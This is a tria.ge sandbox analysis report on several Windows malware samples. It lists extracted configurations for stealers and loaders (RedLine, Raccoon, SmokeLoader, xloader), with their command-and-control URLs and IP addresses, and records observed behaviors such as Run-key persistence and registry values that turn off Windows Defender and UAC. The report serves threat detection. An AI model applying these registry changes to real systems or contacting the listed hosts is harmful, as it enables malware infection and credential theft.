Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Overview
overview
10Static
static
022e3c30a1...66.exe
windows11_x64
10022e3c30a1...66.exe
windows10_x64
1022e3c30a1...66.exe
windows10_x64
104d27dca0a1...ef.exe
windows11_x64
104d27dca0a1...ef.exe
windows10_x64
104d27dca0a1...ef.exe
windows10_x64
10578a3a7a2b...b3.exe
windows11_x64
10578a3a7a2b...b3.exe
windows10_x64
10578a3a7a2b...b3.exe
windows10_x64
109c4880a98c...82.exe
windows11_x64
109c4880a98c...82.exe
windows10_x64
109c4880a98c...82.exe
windows10_x64
10a1dad4a83d...c4.exe
windows11_x64
10a1dad4a83d...c4.exe
windows10_x64
10a1dad4a83d...c4.exe
windows10_x64
10acf1b7d80f...e0.exe
windows11_x64
10acf1b7d80f...e0.exe
windows10_x64
10acf1b7d80f...e0.exe
windows10_x64
10cbf31d825a...d2.exe
windows11_x64
10cbf31d825a...d2.exe
windows10_x64
10cbf31d825a...d2.exe
windows10_x64
10db76a117db...12.exe
windows11_x64
10db76a117db...12.exe
windows10_x64
10db76a117db...12.exe
windows10_x64
10e2ffb8aeeb...f6.exe
windows11_x64
10e2ffb8aeeb...f6.exe
windows10_x64
10e2ffb8aeeb...f6.exe
windows10_x64
10f2196668f4...cb.exe
windows11_x64
10f2196668f4...cb.exe
windows10_x64
10f2196668f4...cb.exe
windows10_x64
10Resubmissions
10/11/2021, 14:50
211110-r7nbvaeddr 1008/11/2021, 16:12
211108-tnmmbahgaj 1008/11/2021, 15:26
211108-svdsbaccf6 1008/11/2021, 14:48
211108-r6lfvshdfn 10Analysis
-
max time kernel
543s -
max time network
1301s -
platform
windows11_x64 -
resource
win11 -
submitted
08/11/2021, 16:12
Static task
static1
Behavioral task
behavioral1
Sample
022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe
Resource
win11
Behavioral task
behavioral2
Sample
022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe
Resource
win10-en-20211014
Behavioral task
behavioral3
Sample
022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe
Resource
win10-de-20211014
Behavioral task
behavioral4
Sample
4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe
Resource
win11
Behavioral task
behavioral5
Sample
4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe
Resource
win10-en-20211014
Behavioral task
behavioral6
Sample
4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe
Resource
win10-de-20211014
Behavioral task
behavioral7
Sample
578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3.exe
Resource
win11
Behavioral task
behavioral8
Sample
578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3.exe
Resource
win10-en-20211014
Behavioral task
behavioral9
Sample
578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3.exe
Resource
win10-de-20211014
Behavioral task
behavioral10
Sample
9c4880a98c53084391a2e2ec350515da63c1dc8ac929af17f012b690b0453782.exe
Resource
win11
Behavioral task
behavioral11
Sample
9c4880a98c53084391a2e2ec350515da63c1dc8ac929af17f012b690b0453782.exe
Resource
win10-en-20211104
Behavioral task
behavioral12
Sample
9c4880a98c53084391a2e2ec350515da63c1dc8ac929af17f012b690b0453782.exe
Resource
win10-de-20211014
Behavioral task
behavioral13
Sample
a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe
Resource
win11
Behavioral task
behavioral14
Sample
a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe
Resource
win10-en-20211014
Behavioral task
behavioral15
Sample
a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe
Resource
win10-de-20211104
Behavioral task
behavioral16
Sample
acf1b7d80fc61269691cc9c7cb4884ffd5bbf5b1538c336c1007127d157738e0.exe
Resource
win11
Behavioral task
behavioral17
Sample
acf1b7d80fc61269691cc9c7cb4884ffd5bbf5b1538c336c1007127d157738e0.exe
Resource
win10-en-20211014
Behavioral task
behavioral18
Sample
acf1b7d80fc61269691cc9c7cb4884ffd5bbf5b1538c336c1007127d157738e0.exe
Resource
win10-de-20211104
Behavioral task
behavioral19
Sample
cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe
Resource
win11
Behavioral task
behavioral20
Sample
cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe
Resource
win10-en-20211104
Behavioral task
behavioral21
Sample
cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe
Resource
win10-de-20211104
Behavioral task
behavioral22
Sample
db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe
Resource
win11
Behavioral task
behavioral23
Sample
db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe
Resource
win10-en-20211104
Behavioral task
behavioral24
Sample
db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe
Resource
win10-de-20211104
Behavioral task
behavioral25
Sample
e2ffb8aeeb869fbb3de97b95b0c5c9cf2234d85612ba111115a938c89e4d94f6.exe
Resource
win11
Behavioral task
behavioral26
Sample
e2ffb8aeeb869fbb3de97b95b0c5c9cf2234d85612ba111115a938c89e4d94f6.exe
Resource
win10-en-20211104
Behavioral task
behavioral27
Sample
e2ffb8aeeb869fbb3de97b95b0c5c9cf2234d85612ba111115a938c89e4d94f6.exe
Resource
win10-de-20211104
Behavioral task
behavioral28
Sample
f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe
Resource
win11
Behavioral task
behavioral29
Sample
f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe
Resource
win10-en-20211104
Behavioral task
behavioral30
Sample
f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe
Resource
win10-de-20211104
General
-
Target
022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe
Malware Config
Extracted
xloader
2.5
s0iw
http://www.kyiejenner.com/s0iw/
ortopediamodelo.com
orimshirts.store
universecatholicweekly.info
yvettechan.com
sersaudavelsempre.online
face-booking.net
europeanretailgroup.com
umofan.com
roemahbajumuslim.online
joyrosecuisine.net
3dmaker.house
megdb.xyz
stereoshopie.info
gv5rm.com
tdc-trust.com
mcglobal.club
choral.works
onlineconsultantgroup.com
friscopaintandbody.com
midwestii.com
weespiel.com
babyshell.be
gwynora.com
talkthered.com
f-punk.com
frankmatlock.com
clique-solicite.net
clientloyaltysystem.com
worldbyduco.com
kampfsport-erfurt.com
adndpanel.xyz
rocknfamily.net
ambr-creative.com
wwwks8829.com
thuexegiarehcmgoviet.com
brentmurrell.art
wolf-yachts.com
tenpobiz.com
binnamall.com
crestamarti.quest
terry-hitchcock.com
ocreverseteam.com
taxwarehouse2.xyz
megawholesalesystem.com
epstein-advisory.com
enewlaunches.com
iphone13.community
pianostands.com
newspaper.clinic
alamdave.com
costalitaestepona2d.com
arbacan.com
horikoshi-online-tutoring.net
missingthered.com
ecmcenterprises.com
giaohangtietkiemhcm.com
universidademackenzie.com
kveupcsmimli.mobi
ibellex.com
ikigaiofficial.store
jerseyboysnorfolk.com
xiamensaikang.com
lmnsky.com
bra866.com
Extracted
socelars
http://www.hhgenice.top/
Extracted
raccoon
1.8.3-hotfix
19425a9ea527ab0b3a94d8156a7d2f62d79d3b73
-
url4cnc
http://91.219.236.162/bimboDinotrex
http://185.163.47.176/bimboDinotrex
http://193.38.54.238/bimboDinotrex
http://74.119.192.122/bimboDinotrex
http://91.219.236.240/bimboDinotrex
https://t.me/bimboDinotrex
Extracted
redline
20kinstallov
95.217.123.66:57358
Extracted
redline
money
94.26.249.132:19205
Extracted
smokeloader
2020
http://nalirou70.top/
http://xacokuo80.top/
Signatures
-
Modifies WinLogon for persistence 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe,C:\\Users\\Admin\\AppData\\Local\\chromedrlver.exe," reg.exe -
Process spawned unexpected child process 3 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2644 4924 rundll32.exe 26 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3836 4924 rundll32.exe 26 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1856 4924 rundll32.exe 26 -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 3 IoCs
resource yara_rule behavioral1/memory/5216-349-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral1/memory/5248-379-0x0000000000000000-mapping.dmp family_redline behavioral1/memory/648-369-0x00000000023B0000-0x00000000023CB000-memory.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Socelars Payload 2 IoCs
resource yara_rule behavioral1/files/0x000300000001e5fe-193.dat family_socelars behavioral1/files/0x000300000001e5fe-192.dat family_socelars -
Suspicious use of NtCreateProcessExOtherParentProcess 31 IoCs
description pid Process procid_target PID 5248 created 3480 5248 e10Jb2xCvxeAn7bjgKZPicoU.exe 112 PID 5220 created 2644 5220 Process not Found 212 PID 932 created 1432 932 WerFault.exe 89 PID 5412 created 5008 5412 WerFault.exe 88 PID 5536 created 4616 5536 WerFault.exe 248 PID 5552 created 2768 5552 WerFault.exe 92 PID 3076 created 4024 3076 WerFault.exe 106 PID 6120 created 2696 6120 WerFault.exe 96 PID 4032 created 1592 4032 WerFault.exe 110 PID 5892 created 4620 5892 WerFault.exe 87 PID 4124 created 4820 4124 WerFault.exe 107 PID 7052 created 5884 7052 WerFault.exe 244 PID 5440 created 5028 5440 LzmwAqmV.exe 278 PID 6600 created 3620 6600 WerFault.exe 211 PID 4052 created 6616 4052 WerFault.exe 425 PID 3644 created 4080 3644 msiexec.exe 207 PID 6380 created 1896 6380 WerFault.exe 323 PID 3140 created 4208 3140 WerFault.exe 256 PID 6172 created 5952 6172 WerFault.exe 258 PID 7924 created 6636 7924 WerFault.exe 264 PID 7684 created 5208 7684 WerFault.exe 333 PID 1156 created 7832 1156 WerFault.exe 321 PID 4540 created 5440 4540 GcleanerEU.exe 225 PID 2828 created 2228 2828 WerFault.exe 351 PID 5860 created 7552 5860 WerFault.exe 370 PID 7744 created 4540 7744 WerFault.exe 369 PID 8148 created 1348 8148 Process not Found 375 PID 8388 created 7236 8388 WerFault.exe 393 PID 7664 created 7252 7664 WerFault.exe 482 PID 7124 created 7252 7124 WerFault.exe 482 PID 8660 created 6376 8660 WerFault.exe 498 -
Suspicious use of NtCreateUserProcessOtherParentProcess 16 IoCs
description pid Process procid_target PID 6136 created 6004 6136 svchost.exe 134 PID 6136 created 6004 6136 svchost.exe 134 PID 6136 created 5992 6136 svchost.exe 133 PID 6136 created 5992 6136 svchost.exe 133 PID 6136 created 4740 6136 svchost.exe 269 PID 6136 created 4740 6136 svchost.exe 269 PID 6136 created 3436 6136 svchost.exe 247 PID 6136 created 3436 6136 svchost.exe 247 PID 6136 created 9000 6136 svchost.exe 406 PID 6136 created 9000 6136 svchost.exe 406 PID 6136 created 9092 6136 svchost.exe 469 PID 6136 created 9092 6136 svchost.exe 469 PID 6136 created 3716 6136 svchost.exe 448 PID 6136 created 3716 6136 svchost.exe 448 PID 6136 created 1904 6136 svchost.exe 447 PID 6136 created 1904 6136 svchost.exe 447 -
Turns off Windows Defender SpyNet reporting 2 TTPs
-
resource yara_rule behavioral1/memory/1592-292-0x0000000000400000-0x000000000091D000-memory.dmp redline -
suricata: ET MALWARE FormBook CnC Checkin (GET)
suricata: ET MALWARE FormBook CnC Checkin (GET)
-
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
-
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
-
suricata: ET MALWARE Sharik/Smoke CnC Beacon 11
suricata: ET MALWARE Sharik/Smoke CnC Beacon 11
-
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
-
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
-
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
-
Arkei Stealer Payload 1 IoCs
resource yara_rule behavioral1/memory/4616-375-0x0000000002000000-0x0000000002021000-memory.dmp family_arkei -
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Vidar Stealer 1 IoCs
resource yara_rule behavioral1/memory/4820-399-0x0000000002280000-0x0000000002355000-memory.dmp family_vidar -
Xloader Payload 3 IoCs
resource yara_rule behavioral1/files/0x000300000001e5e7-169.dat xloader behavioral1/files/0x000300000001e5e7-170.dat xloader behavioral1/memory/5344-311-0x0000000002550000-0x0000000002579000-memory.dmp xloader -
Blocklisted process makes network request 2 IoCs
flow pid Process 137 2644 rundll32.exe 141 2644 rundll32.exe -
Downloads MZ/PE file
-
Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\system32\drivers\etc\hosts DYbALA.exe -
Executes dropped EXE 64 IoCs
pid Process 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 2240 E9X6UUspMsNZ0PBOY9yOxppO.exe 1432 2sLZGnwA8HriCh8TxRV3x7hs.exe 5008 _oukjeZ_kla3Aiol140mLVmm.exe 4620 SuSwq6ZbytaKosolrsdxuaTC.exe 3324 Dc2cGIo8H66p8bqWXY8d5sy2.exe 2768 DgLcL52s5fuUTHkP9A7_9q1c.exe 1036 WJgWulYLEFinITcgUMZXyIrr.exe 4616 h7kHvYoMhO87j6fFaG42C6p1.exe 5052 e8sIHJtYYbh6Npgujz9tWguG.exe 5028 o6zEWa0CtF1KjvBgbb_Tn4_k.exe 4728 boEXMtSc0H_EpwU9srBh1ctk.exe 4804 S3hVyTpSyStATNGo3TrVZ9ki.exe 4652 ZDrO50KpNCLpsUulmLanzxOV.exe 2696 ystYIyf3LAEozet_mkeMbreD.exe 2344 8uwyDq4RzIASixTAPZYZJmwI.exe 2516 iJ3HRZcMmv1l2v1Ha5zD_MPf.exe 2560 4sJVMRoh2XvFYLOlja0nQegx.exe 4024 ht0nMTNFQ1tFe4ykfsVcsyoI.exe 2644 IKNZNRMAqUQWUjeHDyftTpOA.exe 1608 Q1Iw7NGBXjDO5OMkHG1HYDNH.exe 648 VTxBU9kvc_11oiNVNgZO3Swz.exe 3856 cKNfesBMIdF8xbjJgapm5LeE.exe 2872 BjEs7BqmOorrI7PZG6BFwx9e.exe 4820 79EHDGPMMWEeapPnka1VRJAH.exe 1624 schtasks.exe 1592 MegogoSell_crypted.exe 1812 KZWrNrUfQpue1da5aQf94oLP.exe 3480 N4phlRmSOn13aOF7LX6J0osn.exe 2924 mshta.exe 5228 Unseduceability.exe 5432 wbSFW6bY1yGkPijcb5mBLctC.exe 1712 cutm3.exe 5396 DownFlSetup110.exe 5884 wMRHZxmDnN06BIb1svy_pOUH.exe 5992 AdvancedRun.exe 6004 AdvancedRun.exe 6092 liuchang-game.exe 6064 8pWB.eXE 4076 search_hyperfs_206.exe 5568 e8sIHJtYYbh6Npgujz9tWguG.exe 5248 e10Jb2xCvxeAn7bjgKZPicoU.exe 5948 setup.exe 1896 Conhost.exe 1076 JwX8BRq3d9XcCTWFaXd9sbty.exe 3620 rundll32.exe 6228 askinstall25.exe 6440 setup.exe 6616 Conhost.exe 6712 setup.tmp 6888 Calculator Installation.exe 7100 chrome1.exe 3804 kPBhgOaGQk.exe 3900 chrome update.exe 4080 chrome2.exe 5912 2873589.exe 7112 hepatocyte.exe 2816 svchost.exe 5440 LzmwAqmV.exe 7140 6404539.exe 2276 2758866.exe 5480 8F9A.exe 6496 postback.exe 6240 FarLabUninstaller.exe -
Modifies Windows Firewall 1 TTPs
-
Sets service image path in registry 2 TTPs
-
Stops running service(s) 3 TTPs
-
resource yara_rule behavioral1/files/0x000300000001e5f9-197.dat vmprotect behavioral1/files/0x000300000001e5f9-196.dat vmprotect behavioral1/memory/4804-325-0x0000000140000000-0x0000000140FFB000-memory.dmp vmprotect -
Checks BIOS information in registry 2 TTPs 14 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion MegogoSell_crypted.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion cKNfesBMIdF8xbjJgapm5LeE.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 6404539.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion cKNfesBMIdF8xbjJgapm5LeE.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 8uwyDq4RzIASixTAPZYZJmwI.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion BjEs7BqmOorrI7PZG6BFwx9e.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion MegogoSell_crypted.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 8uwyDq4RzIASixTAPZYZJmwI.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 4sJVMRoh2XvFYLOlja0nQegx.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 6404539.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion ZDrO50KpNCLpsUulmLanzxOV.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion BjEs7BqmOorrI7PZG6BFwx9e.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 4sJVMRoh2XvFYLOlja0nQegx.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion ZDrO50KpNCLpsUulmLanzxOV.exe -
Drops startup file 4 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe E9X6UUspMsNZ0PBOY9yOxppO.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe E9X6UUspMsNZ0PBOY9yOxppO.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe 80AC.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe 80AC.exe -
Loads dropped DLL 64 IoCs
pid Process 5432 wbSFW6bY1yGkPijcb5mBLctC.exe 5432 wbSFW6bY1yGkPijcb5mBLctC.exe 3620 rundll32.exe 6712 setup.tmp 6888 Calculator Installation.exe 6888 Calculator Installation.exe 5432 wbSFW6bY1yGkPijcb5mBLctC.exe 6888 Calculator Installation.exe 6888 Calculator Installation.exe 5432 wbSFW6bY1yGkPijcb5mBLctC.exe 6888 Calculator Installation.exe 5432 wbSFW6bY1yGkPijcb5mBLctC.exe 3620 rundll32.exe 6888 Calculator Installation.exe 6888 Calculator Installation.exe 6456 Setup.exe 6456 Setup.exe 5812 DMxOky3fPLdbuAbmlCGtIt1a.exe 5812 DMxOky3fPLdbuAbmlCGtIt1a.exe 1412 3AX2JQ3lZXv3VLoelF5woHq8.tmp 5616 setup.exe 5616 setup.exe 5812 DMxOky3fPLdbuAbmlCGtIt1a.exe 5812 DMxOky3fPLdbuAbmlCGtIt1a.exe 5812 DMxOky3fPLdbuAbmlCGtIt1a.exe 5812 DMxOky3fPLdbuAbmlCGtIt1a.exe 8140 setup.exe 8140 setup.exe 5208 rundll32.exe 3644 msiexec.exe 3644 msiexec.exe 7216 rundll32.exe 7216 rundll32.exe 2104 msiexec.exe 5336 rundll32.exe 2104 msiexec.exe 2056 installer.exe 2056 installer.exe 7236 rundll32.exe 2056 installer.exe 8768 MsiExec.exe 8768 MsiExec.exe 8140 setup.exe 8140 setup.exe 4240 Calculator.exe 4240 Calculator.exe 4240 Calculator.exe 8140 setup.exe 8140 setup.exe 5812 DMxOky3fPLdbuAbmlCGtIt1a.exe 5616 setup.exe 5616 setup.exe 5404 Calculator.exe 5404 Calculator.exe 5404 Calculator.exe 5616 setup.exe 5616 setup.exe 4032 MsiExec.exe 5432 wbSFW6bY1yGkPijcb5mBLctC.exe 4296 Calculator.exe 4032 MsiExec.exe 4032 MsiExec.exe 1620 Calculator.exe 6492 Calculator.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
resource yara_rule behavioral1/files/0x000c000000000105-206.dat themida behavioral1/files/0x000300000001e5fc-203.dat themida behavioral1/files/0x00060000000000e9-200.dat themida behavioral1/files/0x00060000000002f5-219.dat themida behavioral1/files/0x0005000000000234-220.dat themida behavioral1/memory/2560-304-0x0000000000400000-0x0000000000401000-memory.dmp themida behavioral1/memory/2344-312-0x0000000000430000-0x0000000000431000-memory.dmp themida behavioral1/memory/3856-305-0x0000000000DA0000-0x0000000000DA1000-memory.dmp themida -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Real-Time Protection E9X6UUspMsNZ0PBOY9yOxppO.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0" E9X6UUspMsNZ0PBOY9yOxppO.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe = "0" 80AC.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Spynet\SpyNetReporting = "0" E9X6UUspMsNZ0PBOY9yOxppO.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Spynet\SubmitSamplesConsent = "0" E9X6UUspMsNZ0PBOY9yOxppO.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" E9X6UUspMsNZ0PBOY9yOxppO.exe Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Spynet E9X6UUspMsNZ0PBOY9yOxppO.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files\Common Files\System\sememe\svchost.exe = "0" E9X6UUspMsNZ0PBOY9yOxppO.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Cursors\veejays\svchost.exe = "0" 80AC.exe Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions E9X6UUspMsNZ0PBOY9yOxppO.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Pictures\Adobe Films\E9X6UUspMsNZ0PBOY9yOxppO.exe = "0" E9X6UUspMsNZ0PBOY9yOxppO.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe = "0" E9X6UUspMsNZ0PBOY9yOxppO.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\80AC.exe = "0" 80AC.exe Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths E9X6UUspMsNZ0PBOY9yOxppO.exe Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features E9X6UUspMsNZ0PBOY9yOxppO.exe -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 11 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\scriptwriters = "C:\\Windows\\Cursors\\veejays\\svchost.exe" 80AC.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Calculator = "C:\\Users\\Admin\\AppData\\Roaming\\Calculator\\Calculator.exe --bo6y9QQgnM" setup.exe Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run setup.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Calculator = "C:\\Users\\Admin\\AppData\\Roaming\\Calculator\\Calculator.exe --bo6y9QQgnM" setup.exe Set value (str) \REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\hepatocyte = "C:\\Program Files\\Common Files\\System\\sememe\\svchost.exe" E9X6UUspMsNZ0PBOY9yOxppO.exe Set value (str) \REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe" DYbALA.exe Set value (str) \REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\hepatocyte = "C:\\Program Files\\Common Files\\System\\sememe\\svchost.exe" hepatocyte.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\system recover = "\"C:\\Program Files (x86)\\PowerControl\\Sacageloka.exe\"" DYbALA.exe Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run setup.exe Key created \REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\Run msedge.exe Set value (str) \REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\scriptwriters = "C:\\Windows\\Cursors\\veejays\\svchost.exe" scriptwriters.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA E9X6UUspMsNZ0PBOY9yOxppO.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 80AC.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" E9X6UUspMsNZ0PBOY9yOxppO.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA cKNfesBMIdF8xbjJgapm5LeE.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 8uwyDq4RzIASixTAPZYZJmwI.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA hepatocyte.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA scriptwriters.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" scriptwriters.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA MegogoSell_crypted.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 4sJVMRoh2XvFYLOlja0nQegx.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 6404539.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA ZDrO50KpNCLpsUulmLanzxOV.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA BjEs7BqmOorrI7PZG6BFwx9e.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" hepatocyte.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 80AC.exe -
Enumerates connected drives 3 TTPs 48 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
